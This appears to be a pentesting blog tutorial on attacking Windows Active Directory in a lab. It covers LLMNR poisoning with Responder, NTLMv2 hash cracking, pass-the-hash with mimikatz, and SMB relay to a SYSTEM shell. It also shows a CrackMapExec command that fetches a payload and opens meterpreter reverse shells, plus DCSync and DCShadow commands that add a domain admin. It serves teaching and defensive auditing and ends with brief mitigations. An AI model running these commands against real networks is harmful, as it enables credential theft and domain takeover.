Hello everyone and security enthusiasts!
I will describe here some techniques used by pentesters to abuse Windows Active Directory and some basic security concepts and mitigation. You will need to set up a small lab to test your exploits.
I will consist of simple AD server through a conventionnal switch as well as Windows 10 clients. All in the same /24 subnet.
Bear in mind that some enterprise network infrastructures can rely on thousands of machines. A network comprising of 2 Windows client and 1 Domain Controller is sufficient for our examples.
What is Active Directory?
Active Directory (AD) is a common directory service (DS) used in most corporate networks. It organizes the information shared between the administrator and users about a the network, for example; the users accounts, shared folders, resources, access control, printers and other devices.
AD DS usually have one or more domain controller and different user accounts. When a user is part of a domain, he can use his domain identifier to login and send an email with the company servers, use the company printers or even access shared folders.
An user identifier is in the format user@domain.com or DOMAIN\user.
In the infrastructure of this network, there is a domain controller that act as central point of the network, meaning it centralizes and log users activity, permissions, groups, resources as well as access policies, network policies, firewall, and almost any configuration a windows based computer can have, all under his authority.
It also control the authentication mechanism in the network (Kerberos), hence it store user and password hashes.
Basically the domain controller manages the whole IT infrastructure of the company. If we are able to compromise the domain controller we are able to own the whole network so it's interesting to see what are the commons paths for a successful exploit of such services.
Note that a domain controller does not come out of the box in a Windows installation, but only with Windows Server.
Practical considerations...
As we already know every Windows OS has a SAM (security account manager) which contains hashed passwords of the users, usually with LM or NTLMv1/2. You can't access the SAM at run time (%SystemRoot%/system32/config/SAM) since it is encrypted after booting with the SYSKEY.
You can still easily overwrite them if you have direct access to the machine and boot it Kali using chntpw
. There are ways to extract them such by creating a shadow volume and reading the copied SAM or simply using the samdump2
tool, or even mimikatz
, we will get to this one later, but is not the main subject of this article.
A domain controller has also a SAM for its local users and groups but also has NTDS.dit. It is a database containing AD data such as information about users and groups, as well as password hashes. One copy located in %SystemRoot%\NTDS\Ntds.dit
used by the controller itself and another copy located at %SystemRoot%\System32\Ntds.dit
which is used to be replicated and updated across other domain controllers inside the same network.
First Attack: LLMNR poisoning
LLMNR stands for Link-Local Multicast Name Resolution. It's a protocol based on the DNS protocol and hence it's purpose is to help hosts resolve domain names using IP addresses.
We can abuse this protocol by poisoning the request and extract the hashes. This only works if the victims requests a connection to a non-discovered or non-existent host.
Usually the host looks first into his hosts file (C:/Windows/System32/Drivers/etc/hosts) then if not found, does a DNS request, and if still unsuccessful broadcast an LLMNR requests.
In badly configured networks, if some hosts try to resolve some hostnames that are not-existent or mistyped, it exposes itself to this attack, since it has to use a multi-cast for IP resolution.
Clients and servers where WPAD is enabled (proxy tab in windows settings) are also vulnerable since they have to try to resolve multiple hostnames.
We can use a responder.py to intercept and inject LLMNR requests. It has also the ability to poison NBT-NS and MDNS protocol and has built-in easily deployable rogue servers such as HTTP, SMB, MSSQL, FTP, LDAP and more.
We start by configuring the tool by setting SMB and HTTP to "On" and we start to catch requests in the network and obtain some hashes.
root@kali:~/Desktop/ADsec/Responder# nano Responder.conf
[ResponderCore]
;Serverstostart
SQL = On
SMB = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
[...snip...]
root@kali:~/Desktop/ADsec/Responder# python Responder.py -I vboxnet0
[...snip...]
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 192.168.10.20 for name HOSTNAEM
[*] [MDNS] Poisoned answer sent to 192.168.10.20 for name hostnaem.local
[*] [LLMNR] Poisoned answer sent to 192.168.10.20 for name hostnaem
[*] [MDNS] Poisoned answer sent to 192.168.10.20 for name hostnaem.local
[*] [LLMNR] Poisoned answer sent to 192.168.10.20 for name hostnaem
[SMB] NTLMv2-SSP Client : 192.168.10.20
[SMB] NTLMv2-SSP Username : VICTIM\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::VICTIM:3b22c9cdca22456f:AD49EAF02DE617609EC88E8478879819:010100010100000 0C0653150DEO9D2010A0D137E3C453C990000000002000140053004D00420330001001E00570049004E002D005000520048003400390032005 200510041004600560004001400530D12AC93A6F9511082D2B825EA0C061006C0003003400570049004E002D0050005200480034003900320 0520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C000 7000800C0653150DEO9D201060004000200002038003000300100300000002001000000002000004208067E55CDDD149536CEBF169EF08193D FF81C1358873FDD2268061C17CAOBOA0010000000000000000000000000000000000009001C0063006900660073002F00620069006D0065007 30061006800720067000000000000000000
Cracking NTLMv2 hashes with John
We have a hash of a user at VICTIM machine, we can use john or hashcat to obtain plain-text passwords. Mode 5600 in hashcat is specified for NTLM/v2 hashes.
root@kali:~/Desktop/ADsec/Responder# john --wordlist=rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
myeasypass (Administrator)
1g 0:00:00:00 DONE (2018-11-02 18:37) 2.439g/s 179824p/s 179824c/s 179824C/s jacksparrow..warrior222
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~/Desktop/ADsec/Responder# john hash.txt --show
Administrator:myeasypassword:VICTIM:3b22c9cdca22456f:AD49EAF02DE617609EC88E8478879819:010100010100000 0C0653150DEO9D2010A0D137E3C453C990000000002000140053004D00420330001001E00570049004E002D005000520048003400390032005 200510041004600560004001400530D12AC93A6F9511082D2B825EA0C061006C0003003400570049004E002D0050005200480034003900320 0520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C000 7000800C0653150DEO9D201060004000200002038003000300100300000002001000000002000004208067E55CDDD149536CEBF169EF08193D FF81C1358873FDD2268061C17CAOBOA0010000000000000000000000000000000000009001C0063006900660073002F00620069006D0065007 30061006800720067000000000000000000
Pass-The-Hash (PTH)
If you simply have the hash and can't manage to crack it, use to hash to obtain a shell! This can be done with mimikatz
or PSExec
.
You will basically be logged on the same user but have tokens to run processes with the stored tokens.
.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::pth /user:Administrator /domain:ADLab.local /ntlm:AD49EAF02DE617609EC88E8478879819
user : Administrator
domain : ADLab.local
program : cmd.exe
impers. : no
NTLM : AD49EAF02DE617609EC88E8478879819
| PID 3839
| TID 4568
| LSA Process is now R/W
| LUID 0 ; 13413276 (00000000:00d129c1)
\_ msvl_0 - data copy @ 0000021033cA9770 : OK !
\_ kerberos - data copy @ 0000021033cA9770
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
mimikatz #
In our obtained shell we can use the rights of Administrator user in another machine to extract data, files or simply perform a lateral movement, simply using the hashes we got.
We must note that Microsoft implemented many updates over the years to mitigate this kind of attack, such as Credential Guard, which prevents using NTMLv2 hashes to execute processes on other machines.
However, it is still effective today as many enterprise networks are badly configured. An even there, other hashes such as RC4 and AES256 can be used for a PTH attack.
Second Attack: NTLMv2 tokens Multirelay
Sometimes passwords policy prevents us to easily crack the hashes. In that case, we can simply relay them. Servers that do not implement SMB signing are vulnerable to a multirelay attack.
SMB stands for "Server Message Block" and is part of a protocol used to access file shares, use printers as well as other communications on the network. Windows OS usually comes with SMB signing turned off, except for Windows Server. We can use this to gain authentication on other machines in the network.
We start by veryfing SMB signing using RunFinger.py
(Responder/tools).
root@kali:~/Desktop/ADsec/Responder/tools# python RunFinger.py -i 192.168.10.0/24
Retrieving information for 192.168.10.10...
SMB signing: False
Null Sessions Allowed: True
Vulnerable to MS10-010: False
Server Time: 2020-05-07 22:05:31
OS version: 'Windows 10 Enterprise 14393'
Lanman Client: 'Windows 10 Enterprise 6.3'
Machine Hostname: 'W10-01-PC'
This machine is part of the 'ADLab' domain
Retrieving information for 192.168.10.20...
SMB signing: False
Null Sessions Allowed: True
Vulnerable to MS10-010: False
Server Time: 2020-05-07 22:05:31
OS version: 'Windows 10 Enterprise 14393'
Lanman Client: 'Windows 10 Enterprise 6.3'
Machine Hostname: 'W10-02-PC'
This machine is part of the 'ADLab' domain
[...snip...]
root@kali:~/Desktop/ADsec/Responder/tools#
Our windows hosts have SMB signing turned off. Let's run responder.py
on our 192.168.0.20 target and relay hashes there. Just be sure to turn off SMB and HTTP protocol in Responder's configuration, as it will conflict with our relaying.
root@kali:~/Desktop/ADsec/Responder/tools# sudo python MultiRelay.py -t 192.168.0.10 -u ALL
Responder MultiRelay 2.0 NTLMv1/2 Relay
Send bugs/hugs/comments to: laurent.gaffie@gmail.com
Usernames to relay (-u) are case sensitive.
To kill this script hit CTRL-C.
/*
Use this script in combination with Responder.py for best results.
Make sure to set SMB and HTTP to OFF in Responder.conf.
This tool listen on TCP port 80, 3128 and 445.
For optimal pwnage, launch Responder only with these 2 options:
-rv
Avoid running a command that will likely prompt for information like net use, etc.
If you do so, use taskkill (as system) to kill the process.
*/
Relaying credentials for these users:
['ALL']
Retrieving information for 192.168.10.10...
SMB signing: False
Os version: 'Windows 10 Enterprise 14393'
Hostname: 'W10-01-PC'
Part of the 'ADLab' domain
[+] Setting up SMB relay with SMB challenge: c2a121c2ffd8da31
[+] Received NTLMv2 hash from: 192.168.10.10
[+] Client info: ['Windows 10 Enterprise 14393', domain: 'ADLab', signing:'False']
[+] Username: Administrator is whitelisted, forwarding credentials.
[+] SMB Session Auth sent.
[+] Looks good, Administrator has admin rights on C$.
[+] Authenticated.
[+] Dropping into Responder's interactive shell, type "exit" to terminate
Available commands:
dump -> Extract the SAM database and print hashes.
regdump KEY -> Dump an HKLM registry key (eg: regdump SYSTEM)
read Path_To_File -> Read a file (eg: read /windows/win.ini)
get Path_To_File -> Download a file (eg: get users/administrator/desktop/password.txt)
delete Path_To_File-> Delete a file (eg: delete /windows/temp/executable.exe)
upload Path_To_File-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \windows\temp\
runas Command -> Run a command as the currently logged in user. (eg: runas whoami)
scan /24 -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to
pivot IP address -> Connect to another host (eg: pivot 10.0.0.12)
mimi command -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)
mimi32 command -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)
lcmd command -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)
help -> Print this message.
exit -> Exit this shell and return in relay mode.
If you want to quit type exit and then use CTRL-C
Any other command than that will be run as SYSTEM on the target.
Connected to 192.168.10.10 as LocalSystem.
Now with our admin login and with mimikatz we can easily extract the password of the account using sekurlsa::logonpasswords
module, which dumps them in clear text. We are still not owning the domain controller, but at least we have an admin account in one of the clients in AD environment.
One way into compromising other users and possibly the domain controller is to use the DCsync attack, which is included in mimikatz also. It leverages the DC replication mechanism, permitting us impersonate a DC and obtaining credentials of other users in the domain.
We must note that to perform this attack, our initially compromised account must have the Replicating Directory Changes All
and Replicating Directory Changes
privileges enabled, which are by default enabled for Administrators of DC and Domain Admins.
Horizontal privesc in AD networks with CrackMapExec
We can use CrackMapExec (CME) to test our compromised user logins in the network. This tool is usually used to automatically assess the security of the AD network.
It's built on top of Impacket and PowerSploit to implement the common Windows protocols and attack scenarios. We can enumerate all possible logins in the network with our user with one command:
crackmapexec smb 192.168.0.0/24 -u 'Administrator' -p 'myeasypassword'
We can also use this tool to enumerate alot of informations about the AD network, such as the password policy, User Account Control (UAC), logged on users, network shares, and so much more!
We can even verify what are the anti-virus software deployed on each client with enum_avproducts
or even the saved informations in the chrome browser with enum_chrome
!
Let's get into our other clients; since PowerSploit is integrated with CME we can use the in-memory DLL injection, CME will first try to login in all clients with our cracked credentials then inject the powershell script to give us a reverse shell.
Be sure to have a meterpreter session listening with multi/handler to catch the shells!
root@kali:~/Desktop/ADsec/CrackMapExec# crackmapexec smb 192.168.10.0/24 -u 'Administrator' -p 'myeasypassword' -M met_inject -o LHOST=192.168.10.30 LPORT=7777
SMB 192.168.10.10 445 W10-01-PC [*] Windows 10 Enterprise 6.3 x64 (name:W10-01-PC) (domain:ADLab) (signing:False) (SMBv1:True)
SMB 192.168.10.20 445 W10-02-PC [*] Windows 10 Enterprise 6.3 x64 (name:W10-02-PC) (domain:ADLab) (signing:False) (SMBv1:True)
SMB 192.168.10.50 445 WINSERVER [*] Windows Server 2019 Standard Evaluation 17763 x64 (name:WINSERVER) (domain:ADLab) (signing:True) (SMBv1:True)
SMB 192.168.10.10 445 W10-01-PC [+] ADLab\Administrator:myeasypassword (Pwn3d!)
SMB 192.168.10.20 445 W10-02-PC [+] ADLab\Administrator:myeasypassword (Pwn3d!)
SMB 192.168.10.50 445 WINSERVER [+] ADLab\Administrator:myeasypassword (Pwn3d!)
MET_INJE... 192.168.10.50 445 WINSERVER [+] Executed payload
MET_INJE... 192.168.10.10 445 W10-01-PC [+] Executed payload
MET_INJE... 192.168.10.20 445 W10-02-PC [+] Executed payload
MET_INJE... 192.168.10.20 [*] - - "GET /Invoke-Shellcode.ps1 HTTP/1.1" 200 -
MET_INJE... [*] Waiting on 2 host(s)
MET_INJE... 192.168.10.50 [*] - - "GET /Invoke-Shellcode.ps1 HTTP/1.1" 200 -
MET_INJE... [*] Waiting on 1 host(s)
MET_INJE... 192.168.10.10 [*] - - "GET /Invoke-Shellcode.ps1 HTTP/1.1" 200 -
[...snip...]
A note on DCShadow
If we manage to get Administrator on a machine and that is part of the admins group in AD, we can simulate a rogue AD controller and inject AD objects or modify existing ones; this is powerful in a sense that the main AD controller will not log our attack and also because it's hard to detect!
What's even more interesting is that we already have a DCShadow module available with mimikatz
! With those 2 simple commands we added a new user to our admin groups!
lsadump::dcshadow /object:newuser /attribute:primaryGroupID /value:512
lsadump::dcshadow /push
Conclusion
We saw only 2 attack vectors. Note that we overlooked many other options such as kerberoasting which permits you in one way or another to crack a Ticket Granted Service (TGS) to obtain users passwords as well as using services with the users privileges.
Other simple ways might be to simply spear-phishing users accounts, which is very common nowadays and something we see happening everyday in the field. Attackers might also hack into non-updated Windows workstations, as we saw with the latest Zerologon
vulnerability.
The attack surface of AD is so big that we rarely audit networks that are fully secured and up-to-date. We often don't have to go the way we explained in those two attack that we covered, or even crack some hashes. I often see system admins storing all users and administrator accounts passwords in a Keepass or an excel file!
We didn't covered any mitigation techniques, but simply disabling legacy protocols such as WPAD, NETBIOS and LLMNR, using more than 12 character passwords, using Group Managed Service Accounts (GMSA), having a SIEM configured to detect mimikatz might be a good start to securing enterprise networks.
Auditing successful logins, failed logins, training users to prevent phishing is also something that must be done actively.
You might also consider looking into BloodHound, an open source framework to enumerate AD environments.
As always, thanks for reading!